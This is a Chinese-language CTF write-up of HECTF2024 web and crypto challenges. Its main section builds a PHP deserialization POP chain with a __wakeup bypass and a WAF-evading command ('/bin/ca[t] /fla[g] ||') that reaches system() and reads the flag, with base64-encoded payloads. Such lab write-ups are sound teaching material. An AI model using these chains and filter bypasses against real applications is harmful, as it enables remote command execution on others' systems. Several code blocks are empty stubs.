HECTF2024
[HECTF2024]Are you happy?
题目来源:HECTF
题目类型:WEB
设计考点:JS代码分析
题目环境打开发现是一款游戏,那么根据经验就是在游戏的JS代码里找FLAG,F12发现提示是base64,
那么就在JS文件里找到base64字符串
game.js里找,flag在里面,根据flag的格式,flag开头是HECTF得到flag
[HECTF2024]baby_unserialize
题目来源:HECTF
题目类型:WEB
设计考点:POP链,PHP反序列化
1 | |
典型的php反序列化题
首先寻找我们可以利用的点,发现$class02$当中有system语句且payload可控那么这里就是pop链的终点,他的触发魔术方式是__invoke那就要寻找哪里可以触发这个方法,注意到$class00$当中存在$b()当$b为class02类时就会触发invoke,那么又要寻找如何触发__set方法class01当中有一行代码
1
$this->cls->str1 = $this->str3;当str3为class02那么就相当于$b=new class02那么cls肯定为class00
继续寻找如何触发__tostring,找到User类当中的destruct方法有echo,那么赋值msg=new class01(),但是他还要进过check()函数,就要让token的值为admin,但是反序列化会触发wakeup修改token那么payload就要绕过wakeup
分析完毕1
User:__destruct->class01:__toString->class00:__call->class00:__set->class02:__invoke构造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class User{
public $name;
public $passwd;
public $token;
public $msg;
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$this->$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
}
class class02{
public $payload;
}
$a = new User("admin","123456");
$a->token = "admin";
$a->msg = new class01();
$a->msg->cls = new class00();
$a->msg->str3 = new class02();
$a->msg->str3->payload = "payload";
echo serialize($a);
//O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}在观察页面php版本为5.4存在成员个数不同绕过__wakeup的方法
直接修改payload1
2
3
4
5
6//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}
//Ly9POjQ6IlVzZXIiOjY6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd2QiO3M6NjoiMTIzNDU2IjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjtzOjM6Im1zZyI7Tzo3OiJjbGFzczAxIjozOntzOjQ6InRlbXAiO2k6MDtzOjQ6InN0cjMiO086NzoiY2xhc3MwMiI6MTp7czo3OiJwYXlsb2FkIjtzOjc6InBheWxvYWQiO31zOjM6ImNscyI7Tzo3OiJjbGFzczAwIjowOnt9fX0=
接下来就是分析WAF发现他过滤了绝大部分函数并且将输出和错误重定向到了“黑洞”,这里我们发现他没有过滤[]那么就可以用正则匹配绕过过滤/bin/ca[t]匹配cat命令,然后用||来绕过“黑洞”就可以回显flag了
1
2
3
4
5
6///bin/ca[t] /fla[g] ||
//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:21:"/bin/ca[t] /fla[g] ||";}s:3:"cls";O:7:"class00":0:{}}}
//Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoyMToiL2Jpbi9jYVt0XSAvZmxhW2ddIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19Cg==
[HECTF2024]baby_sql
题目来源:HECTF
题目类型:WEB
设计考点:SQL布尔盲注
1 | |
[HECTF2024]迷茫的艾米莉
题目来源:HECTF
题目类型:Crypto
设计考点:栅栏密码,维吉尼亚密码
题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园
根据提示这是一串栅栏密码,W型KEY为6,解密得到
1 | |
显然还不是flag,那么就要继续尝试
发现题干有responsibility一串字样,猜测可能为某个KEY,最会发现是
1 | |